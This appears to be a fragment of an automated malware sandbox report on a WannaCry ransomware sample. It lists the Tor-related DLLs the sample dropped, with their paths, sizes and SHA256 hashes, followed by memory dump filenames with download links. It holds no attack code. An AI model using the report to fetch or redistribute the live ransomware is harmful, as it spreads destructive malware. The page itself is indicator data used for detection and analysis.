              • Path \Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\libgcc_s_sjlj-1.dll
              • Size 510KB
              • SHA256 9aeccf88253d4557a90793e22414868053caaab325842c0d7acb0365e88cd53b
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              libssp-0.dll
              • Path \Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\libssp-0.dll
              • Size 90KB
              • SHA256 f28caebe9bc6aa5a72635acb4f0e24500494e306d8e8b2279e7930981281683f
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              ssleay32.dll
              • Path \Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\ssleay32.dll
              • Size 694KB
              • SHA256 bd70ba598316980833f78b05f7eeaef3e0f811a7c64196bf80901d155cb647c1
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              zlib1.dll
              • Path \Users\Admin\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\TaskData\Tor\zlib1.dll
              • Size 105KB
              • SHA256 66d653397cbb2dbb397eb8421218e2c126b359a3b0decc0f31e297df099e1383
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              memory/952-322-0x0000000010000000-0x0000000010010000-memory.dmp
              Download

              memory/1324-1666-0x0000000000170000-0x000000000046E000-memory.dmp
              Download

              memory/1324-1665-0x00000000737E0000-0x0000000073802000-memory.dmp
              Download

              memory/1324-1675-0x0000000073540000-0x000000007375C000-memory.dmp
              Download

              memory/1324-1670-0x0000000073930000-0x000000007394C000-memory.dmp
              Download

              memory/1324-1669-0x0000000000170000-0x000000000046E000-memory.dmp
              Download

              memory/1324-1672-0x0000000073810000-0x0000000073892000-memory.dmp
              Download

              memory/1324-1673-0x00000000737E0000-0x0000000073802000-memory.dmp
              Download

              memory/1324-1674-0x0000000073760000-0x00000000737D7000-memory.dmp
              Download

              memory/1324-1671-0x00000000738A0000-0x0000000073922000-memory.dmp
              Download

              memory/1324-1662-0x0000000073810000-0x0000000073892000-memory.dmp
              Download

              memory/1324-1663-0x0000000073540000-0x000000007375C000-memory.dmp
              Download

              memory/1324-1664-0x00000000738A0000-0x0000000073922000-memory.dmp
              Download

              memory/3620-237-0x000001F42C920000-0x000001F42C921000-memory.dmp
              Download

              memory/3620-236-0x000001F42C910000-0x000001F42C911000-memory.dmp
              Download

              memory/3620-16-0x000001F426320000-0x000001F426330000-memory.dmp
              Download

              memory/3620-0-0x000001F426220000-0x000001F426230000-memory.dmp
              Download

              memory/3620-35-0x000001F4235F0000-0x000001F4235F2000-memory.dmp
              Download

              memory/4700-45-0x0000024067A60000-0x0000024067B60000-memory.dmp
              Download

              memory/4708-143-0x000001DF128A0000-0x000001DF128A2000-memory.dmp
              Download

              memory/4708-147-0x000001DF12910000-0x000001DF12912000-memory.dmp
              Download

              memory/4708-59-0x000001DF00B00000-0x000001DF00C00000-memory.dmp
              Download

              memory/4708-67-0x000001DF10D90000-0x000001DF10D92000-memory.dmp
              Download

              memory/4708-65-0x000001DF10D70000-0x000001DF10D72000-memory.dmp
              Download

              memory/4708-62-0x000001DF10D40000-0x000001DF10D42000-memory.dmp
              Download

              memory/4708-126-0x000001DF12CC0000-0x000001DF12CE0000-memory.dmp
              Download

              memory/4708-139-0x000001DF11FF0000-0x000001DF11FF2000-memory.dmp
              Download

              memory/4708-141-0x000001DF12870000-0x000001DF12872000-memory.dmp
              Download

              memory/4708-145-0x000001DF128B0000-0x000001DF128B2000-memory.dmp
              Download